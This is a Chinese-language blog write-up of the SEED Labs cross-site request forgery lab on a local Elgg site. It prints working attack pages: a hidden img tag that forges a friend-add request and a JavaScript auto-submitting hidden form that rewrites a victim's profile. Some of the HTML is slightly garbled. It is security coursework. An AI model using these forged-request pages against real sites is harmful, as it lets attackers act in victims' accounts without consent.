【SEED LAB】Cross-Site Request Forgery (CSRF) Attack Lab -跨站请求伪造

什么是跨站请求伪造

跨站请求

实际上,用户网页对于网址的请求分为两种。一种是用户浏览器发送给相同网站的数据,被称为same-site request。相反,用户浏览器发送给其他网站的数据被称为cross-site request也就是跨境请求。
same and cross

响应(request)的两种形式

在HTTP传输过程中,产生的响应形式一般分成两种。一种是GET型,另一种是POST型。

GET /post_from.php?foo=hello&bar=world HTTP/1.1
Host: wwww.example.com
Cookie: SID=xsdfgergbghedvrbeadv
POST /post_from.php HTTP/1.1
Host: wwww.example.com
Cookie: SID=xsdfgergbghedvrbeadv
Content-Length: 19
foo=hello&bar=world

这两种request形式的区别是foo=hello&bar=world变量所处的位置不同。POST中这个变量存在于HTTP message之中,还有一点要注意的是,Cookies中的数据是用字符串的形式进行表达的。

GET下的跨站请求

假设有一个网上银行www.bank.com,银行允许用户之间进行交易。用户登录到这个网页中,并会拥有一个用于认证用户身份的cookie信息。这时收到一个HTTP request,目的是从他的账户中划走500美刀。

http://www.bank.com/transfer.php?to=3220&amount=500

可以看到?之后to=3220代表目标账户,amount=500代表金额。有了格式之后就可以仿写出有这种请求。如果攻击者将代码放置在自己的web页面中,img和HTML这种标记可以触发src属性中指定的URL的请求,这个请求可以是一个图像或者一个网站。

<img src ="http://www.bank.com/transfer.php?to=3200&amount=500">
<iframe
	 ="http://www.bank.com/transfer.php?to=3200&amount=500">
</iframe>

POST

可以使用HTML表单生成POST请求。

跨站请求伪造实验

环境设置

在虚拟机中打开,实验进行网址http://www.csrflabelgg.com/activity,开始实习。

Task 1: Observing HTTP Request

在firefox浏览器中设置HTTP Header Live工具。使用这个工具可以在Elgg中捕获一个HTTP GET请求和一个HTTP POST请求。

Task 2: CSRF Attack using GET Request

这里利用GET请求,让alice加boby为好友。首先登陆boby的账户(密码是seedboby),并且打开HTTP Header Live获取boby加alice时HTTP的request格式。在这个request中可以看到,boby的编号为42(这里自己再用alice的加一下boby可以知道alice的编号是43)。
加alice
接下来在自己的虚拟机/var/www/CSRF/Attacker/index.html中,利用刚刚取得的GET request编写一个攻击脚本。在标题中写入Useful Website! 字样,然后直接复制粘贴之前request中加好友的指令,附上__elgg_token, __elgg_ts的值。
在这里插入图片描述

<!DOCTYPE html>
<html>
<head>
<titlei>Useful Website!
</head>
<body>
<p>No Page Available</p>
<img src= 
"http://www.csrflabelgg.com/action/friends/add?friend=43&__elgg_ts=1635922920&__elgg_token=SSy4WUEM7JrEvVfD6EFOMg&__elgg_ts=1635922920&__elgg_token=SSy4WUEM7JrEvVfD6EFOMg"wid&th="1" height="1" />
</body>
</html>

登入boby的账号,在blogs中写上用于跨站访问攻击的网站(http://www.csrflabattacker.com/index.html),发布blog。
在这里插入图片描述
因为修改此类文件需要root权限,所以在终端上打上如下代码。

sudo service apache2 start

接着重新登录Alice账户并且打开刚刚Boby刚刚发布的blog,并且点击链接。
在这里插入图片描述
当Alice想要访问Boby发布的工具时,却被重定向到了Boby部署的csrflabattacker页面。
在这里插入图片描述
退回Alice的页面可以看见Alice已经加Boby为好友,这说明攻击已经完成了。
在这里插入图片描述

Task 3: CSRF Attack using POST Request

这一个问题的目标是用POST要求,改写Alice的个性签名。要想发起攻击,首先要知道改写个性签名之后POST请求的格式是什么样的。于是用Boby的账户编辑个性签名,并用工具捕获相应POST请求。
在这里插入图片描述

在POST请求中找到请求需要发送的网址,就可以写出攻击脚本了。
POST

新建一个脚本
在这里插入图片描述
脚本中写下Alice的信息,准备将Alice的签名改成‘Boby is my Hero’。action上就写入修改签名时捕获的地址。

<html>
<body>
<h1>This page forges an HTTP POST request.</h1>

<script type="text/javascript">
function forge_post()
{
var fields;
// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won’t be able to see them.

fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Boby is my Hero'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='guid' value='42'>";

// Create a <form> element.
var p = document.createElement("form");
// Construct the form
p.action = "http://www.csrflabelgg.com/action/profile/edit"; 
p.innerHTML = fields;
p.method = "post";
// Append the form to the current page. 
document.body.appendChild(p);
// Submit the form 
p.submit();
}
// Invoke forge_post() after the page is loaded. 
window.onload = function() { forge_post();} 
</script>
</body>
</html>

之后保存代码再次用sudo启动apache服务器,然后将Boby发布的Blog链接修改为index2。
在这里插入图片描述

然后用Alice的账号点入这个链接,这时候POST请求将’Boby is my Hero’改写到Alice的个性签名中了。(右上角会提示已经修改成功)
在这里插入图片描述

问题一

Question 1: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information. Please describe how Boby can solve this problem.
跨站请求伪造需要Alice的id才能攻击。Boby是可以获得Alice的ID的。并且Boby没有Alice的密码,所以他无法登录Alice的账户来ID获取信息,请问应该如何解决。

通过刚才的实验可以知道,想要获得Alice的ID只需要用Boby加Alice为好友的同时用HTTP Header Live来捕获GET请求就可以获得。friend=42中42对应的就是Alice的ID。

http://www.csrflabelgg.com/action/friends/add?friend=42&__elgg_ts=1669116581&__elgg_token=eOwe-Vjkem08kGvPE8qtpg&__elgg_ts=1669116581&__elgg_token=eOwe-Vjkem08kGvPE8qtpg

问题二

Question 2: If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim’s Elgg profile? Please explain.
如果Boby想要攻击所有来访问他页面的人。但是他并不知道谁要访问页面,在这种情况下它还可以发动CSRF攻击来修改别人的个人资料吗?

不能。脚本无法动态填充访问者的ID信息,所以无法攻击未知的访问者。

  • 1
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值